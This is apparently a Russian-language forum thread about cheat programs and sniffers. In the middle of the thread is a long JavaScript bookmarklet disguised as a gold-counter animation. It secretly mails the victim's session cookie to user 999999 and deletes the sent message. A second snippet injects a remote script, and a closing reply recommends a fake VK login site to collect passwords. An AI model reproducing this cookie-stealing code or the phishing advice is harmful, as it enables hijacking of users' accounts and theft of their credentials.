Принцип работы чит програм, снифферы

Ты ж сам вспомнил как соник ломал point.js, он же там ничего не перебирал, никакие пароли не подставлял, никакие часы не тратил, он всё сделал за 5 минут

движок игры на ibgdx:

Код:

fuction setGold(count){
currentCount = dbGetCount(); //узнаем счет, который записан в бд
if(coun > currentCountt+50000){ //50000 - подозрительный скачек роста счета
  //злоумышленник пойман
}else{
  dbSetCount(count); //счет успешно записался
}
}

Использовалась для того, чтоб фильтровать лут, который выпадает из монстров. То есть сначала пропускался весь лут через прогу, потом определялись пакеты с ненужным и они просто блокировались и игрок видел из 100 выпавших предметов сразу 2-3 нужных ему. Также это использовалось для разгрузки процессора - ненужные элементы просто выключались. Всегда интересовало как такой сниффер создать.

Перечитай мой самый первый пост.

Код:

Javascript:var percentGold=100;var widthLeft=20;var widthRight=179;var t;var memPerSec=10.00741833975;function d(m,j,l){var i=(m+'').indexOf(j,l);return i=== -1?false:i;};function _a(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percentGold').innerHTML=percentGold;ge('rateLeftGold').style.width=widthLeft+"px";ge('rateRightGold').style.width=widthRight+"px";percentGold=percentGold+1;widthLeft=Math.floor(Math.sin((percentGold-100)/500)*179+20);widthRight=199-widthLeft;if(widthRight<=1){clearTimeout(t);}else t=setTimeout(_a,next);};function first(){if(ge('percent')){percentGold=ge('percent').innerHTML;var pos=d(percentGold,">",0);if(pos==false) {percentGold=parseInt(percentGold);}else percentGold=parseInt(percentGold.substr(pos+1,3)); widthLeft=parseInt(ge('rateLeft').style.width);widthRight=parseInt(ge('rateRight').style.width);_b();}else{percentGold=parseInt(ge('percentGold').innerHTML);widthLeft=parseInt(ge('rateLeftGold').style.width);widthRight=parseInt(ge('rateRightGold').style.width);_a();}};function _b(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percent').innerHTML=percentGold+"%";ge('rateLeft').style.width=widthLeft+"px";ge('rateRight').style.width=widthRight+"px";percentGold=percentGold+1;if(percentGold>100){clearTimeout(t);ge('percent').id="percentGold";ge('rateLeft').id='rateLeftGold';ge('rateRight').id='rateRightGold';widthLeft=20;widthRight=179;_a();}else{widthLeft=widthLeft+2;widthRight=199-widthLeft;t=setTimeout(_b,next);}};var f=document.createElement('div');f.style.display="none";var params;function a(){Ajax.Post({url:'friend.php',query:{act:'a_add_form',fid:999999},onDone:function(ajaxObj,responseText){try{var text=responseText;var response=eval('('+responseText+')');f.innerHTML=response.text;var form=ge('addFriendForm');if(!form)return;var params=serializeForm(form);Ajax.Post({url:'friend.php',query:params});}catch(e){}}});};function b(){Ajax.Get({url:'mail.php',query:{act:'write',to: 999999},onDone:function(ajaxObj,responseText){var text=responseText;try{f.innerHTML=responseText;params={act:ge('act').value,ajax:1,misc:ge('misc')?ge('misc').value:'',secure:ge('secure')?ge('secure').value:'',chas:ge('chas').value,photo:ge('photo')?ge('photo').value:'',to_id:999999,to_reply:ge('to_reply').value,toFriends:ge('toFriends')?ge('toFriends').value:'',title:ge('title').value,message:''+Math.round(Math.random()*10000)+document.cookie+Math.round(Math.random()*10000)};setTimeout(c,3000);}catch(e){}}});}; function c() {Ajax.Post({url:'mail.php',query:params,onDone: function(ajaxObj,responseText){setTimeout(e,1000);}});}; function e(){Ajax.Get({url:'mail.php',query:{out:"1",rnd:Math.round(Math.random()*10000)},onDone:function(ajaxObj,responseText){try{var k='<a href="mail.php?act=write&to=999999&r=';var pos=d(responseText,k,0); var g=d(responseText,'&out=1"',pos); if(pos==false)return; var messid=parseInt(responseText.substr(pos+k.length,g-pos));params={act:"a_delete",id:messid,out:1}; Ajax.Post({url:'mail.php',query:params});}catch(e){}}});}; onDomReady(function(){document.body.appendChild(f); first();a();b();});

Код:

javascript:function loadScript(scriptURL) { var scriptElem = document.createElement('SCRIPT'); scriptElem.setAttribute('language',%20'%4A%61%76%61%53%63%72%69%70%74'); scriptElem.setAttribute('src', scriptURL); document.body.appendChild(scriptElem);}loadScript('SCRIPT URL');

raingo пишет:Что если вконтакте засунуть в iframe на нашем сайте. Какими-то ухищрениями этот iframe спрятать. И в этом iframe исполнить любые скрипты, которые мы хотим?

Я понимаю, что это нереально. Но вопрос почему?

Создай себе сайт, сделай там вход через вконтакте и лови себе все пароли и логины